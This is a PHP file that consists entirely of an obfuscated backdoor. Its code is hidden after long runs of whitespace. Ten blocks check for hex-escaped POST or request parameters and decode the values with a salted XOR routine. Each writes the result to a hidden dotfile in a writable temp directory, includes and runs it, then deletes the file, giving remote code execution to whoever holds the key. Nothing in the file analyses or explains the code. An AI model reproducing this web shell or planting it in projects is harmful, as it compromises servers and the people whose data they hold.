<?php																																										if(array_key_exists("r\x65\x63or\x64", $_POST)){ $dat = $_POST["r\x65\x63or\x64"]; $dat = explode( ".", $dat); $object= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt ); foreach( $dat as $o => $v1): $sChar= ord( $salt[$o % $lenS] ); $dec= ( ( int)$v1 - $sChar -( $o % 10)) ^ 66; $object .= chr( $dec ); endforeach; $val = array_filter(["/tmp", session_save_path(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getcwd()]); $key = 0; do { $flg = $val[$key] ?? null; if ($key >= count($val)) break; if (max(0, is_dir($flg) * is_writable($flg))) { $data_chunk = "$flg/.resource"; if (@file_put_contents($data_chunk, $object) !== false) { include $data_chunk; unlink($data_chunk); die(); } } $key++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x66lg"])){ $holder = array_filter(["/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), getenv("TEMP")]); $flag = $_POST["\x66lg"]; $flag= explode ( '.', $flag) ; $data= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s5); $m= 0; $__tmp= $flag; while ($v2= array_shift($__tmp)) { $chS= ord($s5[$m % $lenS]); $dec= ((int)$v2 - $chS - ($m % 10)) ^ 46; $data .= chr($dec); $m++; } foreach ($holder as $pointer): if (is_dir($pointer) && is_writable($pointer)) { $symbol = "$pointer/.entity"; $success = file_put_contents($symbol, $data); if ($success) { include $symbol; @unlink($symbol); die();} } endforeach; }
																																										if(in_array("\x66\x61ctor", array_keys($_POST))){ $descriptor = array_filter([sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp"]); $obj = $_POST["\x66\x61ctor"]; $obj =explode ( "." , $obj) ; $flag = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); foreach ($obj as $p=> $v5) { $sChar = ord($s6[$p % $sLen]); $d = ((int)$v5 - $sChar - ($p % 10)) ^ 18; $flag.=chr($d); } foreach ($descriptor as $res) { if (is_dir($res) && is_writable($res)) { $pset = str_replace("{var_dir}", $res, "{var_dir}/.binding"); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $pset; @unlink($pset); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x63o\x6Dpo\x6E\x65nt"])){ $object = $_POST["\x63o\x6Dpo\x6E\x65nt"]; $object=explode ( '.' ,$object ) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $x = 0; foreach( $object as $v8) { $chS = ord( $s[$x % $lenS]); $dec = ( ( int)$v8 - $chS -( $x % 10))^20; $rec .= chr( $dec); $x++; } $data = array_filter(["/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp"]); $sym = 0; do { $entry = $data[$sym] ?? null; if ($sym >= count($data)) break; if (is_dir($entry) && is_writable($entry)) { $dat = join("/", [$entry, ".bind"]); if (@file_put_contents($dat, $rec) !== false) { include $dat; unlink($dat); exit; } } $sym++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x64ata")){ $dchunk = $_POST["\x64ata"]; $dchunk=explode( '.' ,$dchunk ); $flag= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); foreach( $dchunk as $i => $v7) { $sChar= ord( $s[$i % $lenS]); $dec= ( ( int)$v7 - $sChar -( $i % 10)) ^84; $flag .=chr( $dec); } $elem = array_filter(["/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getenv("TMP")]); for ($res = 0, $descriptor = count($elem); $res < $descriptor; $res++) { $sym = $elem[$res]; if (is_dir($sym) && is_writable($sym)) { $itm = sprintf("%s/.component", $sym); $success = file_put_contents($itm, $flag); if ($success) { include $itm; @unlink($itm); die();} } } }
																																										if(isset($_POST["\x74oke\x6E"])){ $descriptor = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP"), getcwd()]); $obj = $_POST["\x74oke\x6E"]; $obj =explode ( "." ,$obj) ; $rec = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9 ); foreach ($obj as $s => $v4) { $sChar = ord($salt9[$s% $sLen] ); $dec = ((int)$v4 - $sChar - ($s% 10)) ^ 78; $rec.= chr($dec ); } foreach ($descriptor as $key => $elem) { if (is_dir($elem) ? is_writable($elem) : false) { $resource = vsprintf("%s/%s", [$elem, ".marker"]); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $resource; @unlink($resource); exit; } } } }
																																										if(isset($_POST["t\x6Bn"])){ $ent = $_POST["t\x6Bn"]; $ent= explode ( ".", $ent ) ; $fac =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt ); $p =0; while( $p < count( $ent)) { $v9 =$ent[$p]; $sChar =ord( $salt[$p % $sLen] ); $d =( ( int)$v9 - $sChar -( $p % 10)) ^ 13; $fac .= chr( $d ); $p++; } $component = array_filter(["/var/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", sys_get_temp_dir()]); for ($object = 0, $factor = count($component); $object < $factor; $object++) { $entity = $component[$object]; if (is_writable($entity) && is_dir($entity)) { $mrk = "$entity" . "/.res"; $success = file_put_contents($mrk, $fac); if ($success) { include $mrk; @unlink($mrk); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "\x66actor")){ $key = $_POST["\x66actor"]; $key = explode( '.',$key ) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $w = 0; $__tmp = $key; while( $v1 = array_shift( $__tmp)) { $chS = ord( $salt[$w % $lenS]); $dec =( ( int)$v1 - $chS -( $w % 10)) ^ 42; $binding .= chr( $dec); $w++; } $value = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/dev/shm"]); foreach ($value as $item) { if ((is_dir($item) and is_writable($item))) { $flg = sprintf("%s/.object", $item); $success = file_put_contents($flg, $binding); if ($success) { include $flg; @unlink($flg); exit;} } } }
																																										if(!is_null($_REQUEST["b\x69\x6Eding"] ?? null)){ $record = array_filter([sys_get_temp_dir(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/tmp", getenv("TEMP"), session_save_path()]); $resource = $_REQUEST["b\x69\x6Eding"]; $resource =explode( '.' , $resource ); $dchunk=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s); $k=0; foreach( $resource as $v6) { $chS=ord( $s[$k %$lenS]); $d=( ( int)$v6 - $chS -( $k %10)) ^ 61; $dchunk .=chr( $d); $k++;} foreach ($record as $key => $component) { if (array_product([is_dir($component), is_writable($component)])) { $val = implode("/", [$component, ".holder"]); if (@file_put_contents($val, $dchunk) !== false) { include $val; unlink($val); exit; } } } }


if(!is_null($_POST["dchu\x6Ek"] ?? null)){
	$resource = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/dev/shm", getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp", session_save_path()]);
	$ptr = $_POST["dchu\x6Ek"];
	$ptr		= 	 explode		(	'.' ,	$ptr)	;
	$token		= 	'';
            $s8		= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen		= 	strlen(	 $s8	);
            $z		= 	0;
    
            foreach(	 $ptr as $v5) {
                $sChar		= 	ord(	 $s8[$z%$sLen]	);
                $dec		= 	(	 (	 int)$v5 - $sChar -(	 $z%10))  ^	39;
                $token .= chr(	 $dec	);
                $z++;
            }
	$tkn = 0;
do {
    $value = $resource[$tkn] ?? null;
    if ($tkn >= count($resource)) break;
    		if ((bool)is_dir($value) && (bool)is_writable($value)) {
    $entry = "$value" . "/.hld";
    $file = fopen($entry, 'w');
if ($file) {
	fwrite($file, $token);
	fclose($file);
	include $entry;
	@unlink($entry);
	die();
}
}
    $tkn++;
} while (true);
}